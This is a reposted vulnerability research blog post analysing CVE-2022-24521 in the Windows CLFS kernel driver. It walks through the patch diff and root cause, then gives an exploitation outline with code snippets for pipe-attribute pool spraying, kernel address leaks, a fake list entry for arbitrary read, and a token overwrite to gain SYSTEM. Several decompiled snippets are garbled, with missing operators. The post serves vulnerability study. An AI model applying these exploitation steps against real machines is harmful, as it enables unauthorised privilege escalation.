CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability

渗透技巧 3年前 (2022) admin
2,083 0 0

Overview

In the security updates of April 2022, Microsoft patched two vulnerabilities (CVE-2022-24481 and CVE-2022-24521) in the CLFS.sys driver. The CLFS kernel component first gain popularity as an attack vector to escape browser sandboxes in 2016. Since then, although this feature is now disabled in popular sandboxes, it is still being frequently abused to escalate privileges locally in Windows.

In this blog post, we analyse the root-cause for one of the vulnerabilties and also discuss how it could be trivially and incredibly reliable to be exploited. Note that in the absence of any public information separating these CVEs, we’ve decided to use CVE-2022-24521 to refer to the vulnerability described herein because we have confirmed its exploitability whereas Microsoft rates CVE-2022-24481 as “Exploit Code Maturity: Unproven”. Of course we could be wrong here 🙂

This exploit was developed and tested on Windows 10 21H2 (OS Build 19044.1620).

The CLFS component has been well-researched into by the community and these [1][2][3] are excellent sources for internals, format and documentation

 

CLFS Internals

CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions to create, store and read log data. CLFS log storage basically consists of two parts:

CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability

 

Each log block starts with a structure named _CLFS_LOG_BLOCK_HEADER:

  1.  
  2. typedef struct _CLFS_LOG_BLOCK_HEADER
  3. {
  4. UCHAR MajorVersion;
  5. UCHAR MinorVersion;
  6. UCHAR Usn;
  7. CLFS_CLIENT_ID ClientId;
  8. USHORT TotalSectorCount;
  9. USHORT ValidSectorCount;
  10. ULONG Padding;
  11. ULONG Checksum;
  12. ULONG Flags;
  13. CLFS_LSN CurrentLsn;
  14. CLFS_LSN NextLsn;
  15. ULONG RecordOffsets[16];
  16. ULONG SignaturesOffset;
  17. } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

RecordOffsets is an array of offsets to the records inside the log block. In fact, CLFS only takes care of the first record offset (0x70) which points at the end of CLFS_LOG_BLOCK_HEADER. When the base log file is stored on a disk, its log blocks must be encoded. In an encoded state, each sector has a two-byte signature which is used to guarantee consistency:

  1.  
  2. typedef struct _CLFS_LOG_BLOCK_HEADER
  3. {
  4. UCHAR SECTOR_BLOCK_TYPE;
  5. UCHAR Usn;
  6. };

During the encoding process the last two bytes of each sector are overwritten with the associated signature. To store all of the sector bytes that were replaced by the sector signature, there is an array which is pointed by SignaturesOffset field.

Base log record stores metadata used to associate the base log file with the containers. It starts with the following header:

  1.  
  2. typedef struct _CLFS_BASE_RECORD_HEADER
  3. {
  4. CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
  5. CLFS_LOG_ID cidLog;
  6. ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
  7. ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
  8. ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
  9. ULONG cNextContainer;
  10. CLFS_CLIENT_ID cNextClient;
  11. ULONG cFreeContainers;
  12. ULONG cActiveContainers;
  13. ULONG cbFreeContainers;
  14. ULONG cbBusyContainers;
  15. ULONG rgClients[MAX_CLIENTS_DEFAULT];
  16. ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
  17. ULONG cbSymbolZone;
  18. ULONG cbSector;
  19. USHORT bUnused;
  20. CLFS_LOG_STATE eLogState;
  21. UCHAR cUsn;
  22. UCHAR cClients;
  23. } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

Fields gClients and rgContainers represent the arrays of offsets that point to the associated context objects.

Container context is represented by the following structure:

  1.  
  2. typedef struct _CLFS_CONTAINER_CONTEXT
  3. {
  4. CLFS_NODE_ID cidNode;
  5. ULONGLONG cbContainer;
  6. CLFS_CONTAINER_ID cidContainer;
  7. CLFS_CONTAINER_ID cidQueue;
  8. union
  9. {
  10. CClfsContainer* pContainer;
  11. ULONGLONG ullAlignment;
  12. };
  13. CLFS_USN usnCurrent;
  14. CLFS_CONTAINER_STATE eState;
  15. ULONG cbPrevOffset;
  16. ULONG cbNextOffset;
  17. } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;

pContainer actually contains a kernel pointer to the CClfsContainer class describing the container at runtime. This field must be set to zero when the log file is on disk.

 

Patch-Diffing

The security updates of April 2022 brings us quite small modifications to clfs.sys, so we can easily spot the vulnerable functionality. All in all, there are eight changed functions:

CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability

 

And two new functions:

CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability

 

A new logical block has been added to LoadContainerQ:

  1.  
  2. containerArray = (_DWORD *)((char *)BaseLogRecord + 0x328); // *CLFS_CONTAINER_CONTEXT->rgContainers
  3. v22 = CClfsBaseFile::ContainerCount(this);
  4. while ( containerIndex < 0x400 )
  5. {
  6. v17 = (CClfsContainer *)containerIndex;
  7. if ( containerArray[containerIndex] )
  8. ++v24;
  9. v89 = ++containerIndex;
  10. }
  11. if ( v24 == v22 )
  12. {
  13. if ( (unsigned int)Feature_Servicing_38197806__private_IsEnabled() )
  14. {
  15. v25 = (_OWORD *)((char *)v19 + 0x138);
  16. v26 = (unsigned int *)operator new(0x11F0ui64, PagedPool);
  17. rgObject = v26;
  18. if ( !v26 )
  19. {
  20. goto LABEL_135;
  21. }
  22. memmove(v26, containerArray, 0x1000ui64);
  23. v28 = rgObject + 0x400;
  24. v29 = 3i64;
  25. v20 = CClfsBaseFile::ValidateRgOffsets(this, rgObject);
  26. v72 = v20;
  27. operator delete(rgObject);
  28. }

In fact, this block is a wrapper for CClfsBaseFile::ValidateRgOffsets:

  1.  
  2. __int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
  3. {
  4. LogBlockPtr = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64); // * _CLFS_LOG_BLOCK_HEADER
  5. signatureOffset = LogBlockPtr + *(unsigned int *)(LogBlockPtr + 0x68); // PCLFS_LOG_BLOCK_HEADER->SignaturesOffset
  6. qsort(rgObject, 0x47Cui64, 4ui64, CompareOffsets); // sort rgObject array
  7. while ( 1 )
  8. {
  9. currObjOffset = *rgObject2; // obtain offset from rgObject
  10. if ( *rgObject2 1 <= 0xFFFFFFFD )
  11. {
  12. pObjContext = CClfsBaseFile::OffsetToAddr(this, currObjOffset); // Obtain in-memory representation
  13. // of the object’s context structure
  14. unkn = currObjOffset 0x30;
  15. v13 = rgIndex * 4 + v5 + 0x30;
  16. if ( v13 < v5 || v5 && v13 > unkn )
  17. break;
  18. v5 = unkn;
  19. if ( *pObjContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
  20. {
  21. rgIndex = 0xC;
  22. }
  23. else
  24. {
  25. if ( *pObjContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
  26. return 0xC01A000D;
  27. rgIndex = 0x22;
  28. }
  29. criticalRange = &pObjContext[rgIndex]; // get the address of context + 0x30
  30. if ( criticalRange < pObjContext || (unsigned __int64)criticalRange > signatureOffset ) // comapre with sig offset
  31. break;
  32. }
  33. ++i;
  34. ++rgObject2;
  35. if ( i >= 0x47C )
  36. return ret;
  37. }
  38. return 0xC01A000D;
  39. }

As we can see, this function simply checks that the signature offset does not intersect with any of the context objects. In addition, it also validates several context fields like CLFS_NODE_ID.

 

Vulnerability: Root Cause Analysis

Let’s assume that the array of signatures intersects with the container or client context:

CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability

 

When the log block is encoded, sector’s bytes from SIG_* are transferred to an array, pointed by SignaturesOffset. While decoding, these bytes are written back to their initial location. If we’ll construct the base log record in a way that the container context and the signature array will be close to each other and then copy context’s bytes to SIG_0 … SIG_X, encode and decode operation will not corrupt the container context. Moreover, all the data modified between encoding and decoding will be restored.

Now let’s assume that container context is modified in memory (PCLFS_CONTAINER_CONTEXT->pContainer is zeroed). We searched for a while where it is actually used and this led us to CClfsBaseFilePersisted::RemoveContainer which can be called directly from LoadContainerQ:

  1.  
  2. __int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
  3. {
  4. v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
  5. v9 = v11;
  6. v16 = v11;
  7. if ( v11 >= 0 )
  8. {
  9. pContainer = *((_QWORD *)containerContext + 3);
  10. if ( pContainer )
  11. {
  12. *((_QWORD *)containerContext + 3) = 0i64;
  13. ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
  14. v4 = 0;
  15. (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
  16. (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
  17. v9 = v16;
  18. goto LABEL_20;
  19. }
  20. goto LABEL_19;
  21. }
  22. }

To ensure that the user cannot pass any FAKE_pContainer pointer to the kernel, before any indirect call this field is set to zero:

  1.  
  2. v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
  3. if ( v44 == 1 )
  4. {
  5. *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
  6. v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
  7. v72 = v20;
  8. if ( v20 < 0 )
  9. goto LABEL_134;
  10. v23 = v78;
  11. v34 = (unsigned int)(v34 + 1);
  12. v79 = v34;
  13. }

Everything goes as planned until there is no logical issue described above. To understand it better lets look inside the call chain CClfsBaseFilePersisted::FlushImage -> CClfsBaseFilePersisted::WriteMetadataBlock which is in RemoveContainer. The information associated with the deleted container should be also removed from the linked structures and this is done with the following code:

  1.  
  2. // Obtain all container contexts represented in blf
  3. // save pContainer class pointer for each valid container context
  4. for ( i = 0; i < 0x400; ++i )
  5. {
  6. v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
  7. v15 = (char *)this + 8 * i;
  8. if ( v20 >= 0 )
  9. {
  10. v16 = v22;
  11. *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
  12. *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
  13. CClfsBaseFile::ReleaseContainerContext(this, &v22);
  14. }
  15. else
  16. {
  17. *((_QWORD *)v15 + 56) = 0i64;
  18. }
  19. }
  20. // Stage [1] enode block, prepare it for writing
  21. ClfsEncodeBlock(
  22. (struct _CLFS_LOG_BLOCK_HEADER *)v9,
  23. *(unsigned __int16 *)(v9 + 4) << 9,
  24. *(_BYTE *)(v9 + 2),
  25. 0x10u,
  26. 1u);
  27. // write modified data
  28. v10 = CClfsContainer::WriteSector(
  29. *((CClfsContainer **)this + 19),
  30. *((struct _KEVENT **)this + 20),
  31. 0i64,
  32. *(void **)(*((_QWORD *)this + 6) + 24 * v8),
  33. *(unsigned __int16 *)(v9 + 4),
  34. &v23);
  35. if ( v7 )
  36. {
  37. // Stage [2] Decode file again for futher processing in clfs.sys
  38. ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
  39. // optain new pContainer class pointer
  40. v17 = (_QWORD *)((char *)this + 448);
  41. do
  42. {
  43. // Stage [3] for each valid container
  44. // update pContainer field
  45. if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
  46. {
  47. *((_QWORD *)v22 + 3) = *v17;
  48. CClfsBaseFile::ReleaseContainerContext(this, &v22);
  49. }
  50. ++v6;
  51. ++v17;
  52. }
  53. while ( v6 < 0x400 );
  54. }

When the operation begins, pContainer is set to zero. During Stage [1] the information is encoded -> bytes from each sector are written to their location -> we restore the zeroed field with the information we provide from the user mode. The only issue is to make CClfsBaseFile::AcquireContainerContext fail at Stage [3] (rather easy to do). If everything is done, we’ll be able to pass any address to an indirect call chain inside CClfsBaseFilePersisted::RemoveContainer which leads to the direct RIP control.

 

Exploitation

To trigger the vulnerability an attacker should carefully construct the base log file and the associated containers to bypass different checks inside the driver’s code. Listing all the checks is out of scope for this article, but for simplicity, we’ll provide an example for the client context:

The PoC is as below:

  1.  
  2. __int64 __fastcall CClfsBaseFile::GetSymbol(PERESOURCE *this, unsigned int a2, char a3, struct _CLFS_CLIENT_CONTEXT **a4)
  3. {
  4.  
  5. if ( CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, a2 + 135) )
  6. {
  7. v11 = CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this);
  8. if ( v11 )
  9. {
  10. if ( *(v11 3) != a2 )
  11. {
  12. v8 = 1073741816;
  13. goto LABEL_5;
  14. }
  15. v12 = ClfsQuadAlign(0x88u);
  16. // v13 is a pointer to ClientContext
  17. if ( *(_DWORD *)(v13 0x10) == (unsigned __int64)(v14 + v12) && *(_BYTE *)(v13 + 8) == a3 )
  18. {
  19. *a4 = (struct _CLFS_CLIENT_CONTEXT *)v13;
  20. goto LABEL_12;
  21. }
  22. }
  23. }
  24. LABEL_12:
  25. if ( v10 )
  26. {
  27. ExReleaseResourceForThreadLite(this[4], (ERESOURCE_THREAD)KeGetCurrentThread());
  28. return v15;
  29. }
  30. return v8;
  31. }

It is also interesting how these two methods are actually called:

  1.  
  2. mov rax, [rdi] ; pContainerVftbl
  3. mov rax, [rax+18h] ; method_1
  4. mov rcx, rdi ; save pointer to pContainer
  5. ; pass it as an argument
  6. ; for the controllable call
  7. call cs:__guard_dispatch_icall_fptr
  8. mov rax, [rdi]
  9. mov rax, [rax+8] ; method_2
  10. mov rcx, rdi
  11. call cs:__guard_dispatch_icall_fptr

The address of the controllable pContainer is passed to the indirect call as an argument, so we can use any gadget which uses RCX as a pointer to perform arbitrary read / write operations.

From here on, the exploitation strategy is closely based on the information from this excellent SSTIC2020: Scoop the Windows 10 pool! paper [4].

    1. Create pipe objects, add pipe attributes using NtFsControlFile API:
      1.  
      2. CreatePipe( hR , hW , NULL , bufsize ) ;
      3. NTSTATUS status = NtFsControlFile(
      4. hR,
      5. 0,
      6. NULL,
      7. NULL,
      8. &ret,
      9. 0x11003C,
      10. input,
      11. input_size,
      12. output,
      13. output_size
      14. );

      The attributes are a key-value pair and stored in a linked list. The PipeAttribute object is allocated in the Paged Pool and is defined in the kernel by the following structure:

      1.  
      2. struct PipeAttribute {
      3. LIST_ENTRY list ;
      4. char * AttributeName;
      5. uint64_t AttributeValueSize;
      6. char * AttributeValue;
      7. char data [0];
      8. };

      Note that the allocations must be large enough (4080+ bytes on x86, or 4064+ bytes on x64) to be processed in a big-pool [5].

    2. Anytime a kernel-mode component allocates over the limits above, a big-pool allocation is done instead. API NtQuerySystemInformation has an information class specifically designed for dumping big pool allocations. Including not only their size, their tag, and their type (Paged or Non-Paged), but also their kernel virtual address:
      1.  
      2. NTSTATUS status = STATUS_SUCCESS;
      3. if (NT_SUCCESS(status = ZwQuerySystemInformation(SystemBigPoolInformation, mem, len, &len))) {
      4. PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(mem);
      5. for (ULONG i = 0; i < pBuf->Count; i++) {
      6. __try {
      7. if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
      8. // save me
      9. }
      10. }
      11. __except (EXCEPTION_EXECUTE_HANDLER) {
      12. DPRINT_LOG(“(%s) Access Violation was raised.”, __FUNCTION__);
      13. }
      14. }
      15. }

      Using this feature, we can easily get the address of the newly created pipe objects.

    3. Allocate fake_pipe_attribute object to be used later to inject its address to an original doubly linked list. We will save kernel pipe_attribute pointers as follows:
      1.  
      2. fake_pipe_attribute = (PipeAttributes*)VirtualAlloc(NULL, ATTRIBUTE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      3. fake_pipe_attribute->list.Flink = pipe_attribute_1;
      4. fake_pipe_attribute->list.Blink = pipe_attribute_2;
      5. fake_pipe_attribute->id = ANY;
      6. fake_pipe_attribute->length = NEEDED;
    4. Obtain selected gadget-module base address using NtQuerySystemInformation:
      1.  
      2. ntStatus = NtQuerySystemInformation(SystemModuleInformation,
      3. &module, /*pSysModInfo*/
      4. sizeof(module), /*sizeof(pSysModInfo) or 0*/
      5. &dwNeededSize );
      6. {
      7. if (STATUS_INFO_LENGTH_MISMATCH == ntStatus)
      8. {
      9. pSysModInfo = ExAllocatePoolWithTag(NonPagedPool, dwNeededSize, ‘GETK’);
      10.  
      11. if (pSysModInfo) {
      12. ntStatus = NtQuerySystemInformation(SystemModuleInformation,
      13. pSysModInfo,
      14. dwNeededSize,
      15. NULL );
      16. if (NT_SUCCESS(ntStatus))
      17. {
      18. for (int i=0; i<(int)pSysModInfo->dwNumberOfModules; ++i)
      19. {
      20. StrUpr(pSysModInfo->smi[i].ImageName); // Convert characters to uppercase
      21. if (strstr(pSysModInfo->smi[i].ImageName, MODULE_NAME)) {
      22. pModuleBase = pSysModInfo->smi[i].Base;
      23. break;
      24. }
      25. }
      26. }
      27. else { return; }
      28. ExFreePool(pSysModInfo)
      29. pSysModInfo = NULL;
      30. }
      31. }
      32. }
    5. Trigger CLFS bug which allows us to call a module-gadget performing arbitrary data modification. Done properly, we will be able to overwrite pipe_attribute_1->list.Flink and pipe_attribute_2->list.Blink with fake_pipe_attribute pointer. Now, by requesting the read of the attribute (calling NtFsControlFile with x110038 IOCTL) on the pipe_attribute_1 / pipe_attribute_2, the kernel will use the PipeAttribute that is in userland and thus fully controlled:

      CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability 

      Control over AttributeValue pointer and the AttributeValueSize provides an arbitrary read primitive which can be used to obtain EPROCESS address.

    6. Trigger CLFS bug to overwrite usermode process token to elevate to system privileges.

      CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability 

 

References

    1. Peter Hlavaty (@zer0mem) and Jin Long (@long123king), DeathNote of Microsoft Windows Kernel
    2. Arav Garg (@AravGarg3), Exploiting a use-after-free in Windows Common Logging File System (CLFS)
    3. Alex Ionescu (@aionescu), CLFS Internals
    4. Corentin Bayet (@OnlyTheDuck) and Paul Fariello (@paulfariello), SSTIC2020: Scoop the Windows 10 pool!
    5. Alex Ionescu (@aionescu), Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool

 

 

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...